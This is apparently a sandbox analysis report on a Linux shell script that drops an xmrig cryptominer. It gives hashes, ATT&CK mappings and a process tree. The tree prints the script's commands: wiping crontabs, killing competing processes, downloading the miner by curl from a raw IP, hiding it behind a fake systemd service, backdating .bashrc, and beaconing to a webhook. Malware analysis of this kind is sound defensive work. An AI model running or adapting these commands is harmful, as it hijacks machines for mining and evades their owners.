xmrig | 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d

Resubmissions

08/05/2026, 17:40

260508-v8t3kaez3r10

08/05/2026, 17:39

260508-v79fvsbt9z10

08/05/2026, 17:38

260508-v75snsez2r1

08/05/2026, 17:38

260508-v7zawsey9r1

Analysis

max time kernel
37s
max time network
99s
platform
debian-9_mipsel
resource
debian9-mipsel-20260127-en
resource tags

arch:mipselimage:debian9-mipsel-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/05/2026, 17:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sex.sh
Size 5KB
Sample260508-v79fvsbt9z
SHA256 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d
MD5 31bf54d388f6e90fdbeaa997f7013f6e
SHA1 d41cc570c60788bca4c168ac30225823b2e50b3a
SHA512 3ebf13c0b56f2bf180ff13aee1994cafe09e302b4b7dbe8d95cb3ba0094457a946f40873e4a5c3d73655a8f3f1e7f5af47a56367fc25a6a5b872bce24672832a
SSDEEP 96:Xxqagbf/e0i7ziwWDH/ELhKIP3oJ53pz1J86zym2imZPaQ:XYayi7z9WDH/0QIPypnnzo/Zv
TLSH
T1C3C1E7F2B620A536310B806CF4DF6558A95B705B2A24B454747E2F352F7C3AA232CE79
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-3.dat	family_xmrig
behavioral4/files/fstream-3.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
833	chmod

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	pastebin.com
2	pastebin.com
3	pastebin.com
6	pastebin.com

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.P6tYf8	crontab

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	sex.sh
File opened for modification	/root/.bashrc	touch

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dbus-system-monitor.service	sex.sh

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	sex.sh
File opened for modification	/root/.bashrc	touch

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/109/cmdline	pkill
File opened for reading	/proc/749/cmdline	pkill
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/714/stat	ps
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/711/cmdline	pkill
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/109/cmdline	pkill
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/158/stat	ps
File opened for reading	/proc/381/status	ps
File opened for reading	/proc/721/status	ps
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/709/cmdline	pkill
File opened for reading	/proc/661/cmdline	ps
File opened for reading	/proc/332/status	pkill
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/332/stat	ps
File opened for reading	/proc/360/status	ps
File opened for reading	/proc/712/cmdline	pkill
File opened for reading	/proc/360/status	pkill
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/661/status	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/126/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/661/cmdline	pkill
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/680/status	ps
File opened for reading	/proc/709/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/680/status	pkill
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/677/status	pkill
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/158/cmdline	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/153/cmdline	pkill
File opened for reading	/proc/748/cmdline	pkill
File opened for reading	/proc/37/stat	ps
File opened for reading	/proc/79/status	ps
File opened for reading	/proc/362/cmdline	ps
File opened for reading	/proc/250/cmdline	pkill
File opened for reading	/proc/359/status	pkill
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/741/stat	ps
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/72/cmdline	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.XuiHv8	sex.sh

/tmp/sex.sh
/tmp/sex.sh
1⤵
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:715
- /bin/systemctl
  systemctl is-active --quiet dbus-system-monitor.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:719
- /bin/systemctl
  systemctl stop crond
  2⤵
  - Enumerates kernel/hardware configuration
  PID:728
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:732
- /bin/rm
  rm -rf "/etc/cron.d/*"
  2⤵
  PID:734
- /usr/bin/which
  which podman
  2⤵
  PID:738
- /usr/bin/which
  which docker
  2⤵
  PID:740
- /usr/bin/awk
  awk " NR>1 && \$4 > 60 && \$3 !~ /(httpd|nginx|mysqld|php-fpm|sshd|node|redis|systemd|dbus-daemon-service)/ { print \$1 }"
  2⤵
  PID:742
- /bin/ps
  ps -eo "pid,ppid,cmd,%cpu" "--sort=-%cpu"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:741
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:743
- - /usr/local/sbin/kill
    kill -9 742
    3⤵
    PID:746
- - /usr/local/bin/kill
    kill -9 742
    3⤵
    PID:746
- - /usr/sbin/kill
    kill -9 742
    3⤵
    PID:746
- - /usr/bin/kill
    kill -9 742
    3⤵
    PID:746
- - /sbin/kill
    kill -9 742
    3⤵
    PID:746
- - /bin/kill
    kill -9 742
    3⤵
    - Reads CPU attributes
    PID:746
- /usr/bin/pkill
  pkill -9 -f xfsd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:747
- /usr/bin/pkill
  pkill -9 -f kworkerds
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:749
- /bin/mkdir
  mkdir -p /usr/share/zoneinfo/.dbus/.k
  2⤵
  PID:752
- /bin/uname
  uname -m
  2⤵
  PID:753
- /bin/ls
  ls "/lib/ld-musl*"
  2⤵
  PID:754
- /usr/bin/curl
  curl -sSL -k -o /usr/share/zoneinfo/.dbus/dbus-daemon-service http://103.213.248.200/xmrig_g
  2⤵
  PID:756
- /bin/chmod
  chmod +x /usr/share/zoneinfo/.dbus/dbus-daemon-service
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /bin/cat
  cat
  2⤵
  PID:834
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:835
- /bin/systemctl
  systemctl enable dbus-system-monitor.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:848
- /bin/systemctl
  systemctl restart dbus-system-monitor.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:861
- /bin/systemctl
  systemctl start crond
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:890
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:892
- /bin/grep
  grep -v dbus-daemon-service
  2⤵
  PID:894
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:893
- /bin/grep
  grep -q release-upgrade /root/.bashrc
  2⤵
  PID:895
- /usr/bin/stat
  stat -c "%y" /etc/passwd
  2⤵
  PID:896
- /bin/mkdir
  mkdir -p /etc/update-manager/
  2⤵
  PID:897
- /usr/bin/touch
  touch -d "2023-10-17 11:55:39.505444480 +0100" /root/.bashrc
  2⤵
  - Creates/modifies environment variables
  - Modifies Bash startup script
  PID:898
- /usr/bin/curl
  curl -s -k -X POST -d "ok=1" https://webhook.site/f8aba51a-1657-4c9a-b1eb-f82231d70bab
  2⤵
  PID:899
- /bin/rm
  rm -f /tmp/sex.sh
  2⤵
  PID:901

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

release-upgrade

Path /etc/update-manager/release-upgrade
Size 27B
SHA256 db05de79e234af2e0437d98dfb31108293f8169f569141d92a1e78b462d847e4
MD5 cb27c6c61f8f61e89b236827f270bcbf
SHA1 8cfb26a2ce9b1cc2c8f994cd55759f64084e3eca
SHA512 e10e08bb872eab1306360b9d7202cdab47d9a764343228ad63ab2457f8bce49f7dca24c5d633ab55c7b66e0cadd71bd59e0a84358a9e03bc21e3865a80f14455
MD5 SHA1 SHA512

Submit Download

sh-thd.XuiHv8

Path /tmp/sh-thd.XuiHv8
Size 1KB
SHA256 75577a3ffcba5a566f2076fffe0ca4fa101acbe2c703c7a0c6d5a6261eecdb9a
MD5 271a38bf365c9e70800e1764edd8d7f4
SHA1 96af1a158e2dec6c8c0113a34a4911146553cd06
SHA512 cba5db8dc613542c02e1f6d6ea62f1a3db47f5fd208c520d5fc6e4fd87e1236c96c8830221e6ac2c3e4729f35f14f29d0e5539095f0c2330a339ad540cf12a72
TLSH
T1B131B892BC20C9BF9907487A35D7D930CE94758B1EE8B46278F12BD7318264D310D70E
MD5 SHA1 SHA512 TLSH

Submit Download

config.env

Path /usr/share/zoneinfo/.dbus/config.env
Size 103B
SHA256 72a8ba61ce79889244213267a91f54d35301ad671cbd8b6d2ad89dcb2b8dce15
MD5 1ff9820598ea2e5e07b7bb9c257dd2ce
SHA1 7bd8a7dc747f77afe984cbdbefb790e144c77fae
SHA512 783a401bb5ea89787415ecf92d73e5b7d8548e48d2e4eb439f30c802653a4118d38f4c6e58c11d5eddf03ec4e37b74572ab747776cb92785ecef840b7985b0f6
TLSH
T141B0126F521439085188154BFA86A74F00A0B0F5041940450D9FBF17059D38B2078A0D
MD5 SHA1 SHA512 TLSH

Submit Download

dbus-daemon-service

Path /usr/share/zoneinfo/.dbus/dbus-daemon-service
Size 16.1MB
SHA256 75c7b50bd0870b47e05521d5be9fed4dda008e08836894b3f3c2b57bdb32e6cd
MD5 9abc5122b94eb0c619b59ee3818a6953
SHA1 60029b3de8f010de131524c20a7ab330e1052d9a
SHA512 4cdd204a76cf124622806597b2a99da32def5debc1af3dd5774fbe1f5e96b7af2201eaa3a8ff42ec8f9e210c3ed326f0ff299328b8f17d69ed7df1a56c4c53bf
SSDEEP 196608:QWUwKXoXJ7UkiHVO78HraLl34ljvKMFICXVzpsTgg:koXKkiHVOwHoijiMFICXVzpsTgg
TLSH
T1F6074B81FF0F7C22D2C5F3BCBF67C7A4A22BF954C612149B3E95424884925C88EB7656
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.P6tYf8

Path /var/spool/cron/crontabs/tmp.P6tYf8
Size 239B
SHA256 8e4cd97f0f91acffc6729ebad7cfbec54c97de804fda99fb2927862cedaa54fa
MD5 63928333c6dbe8b722258fa252a53022
SHA1 0eb9fa12650df223a60096aa3301c79a3962e277
SHA512 20bdcbc7fa7bb45ecd39a03109b5e4883fc979aacfd44e7cefe4d87c2488b3fda96ae9b46a2ccd5bc76fa4d28bf5c22a48b8b00231ba3382e84e0670304c771e
TLSH
T1D4D097383B20683839021A48302A01286E43B17D904CAA80C0CC1400532E70C1BE6C72
MD5 SHA1 SHA512 TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads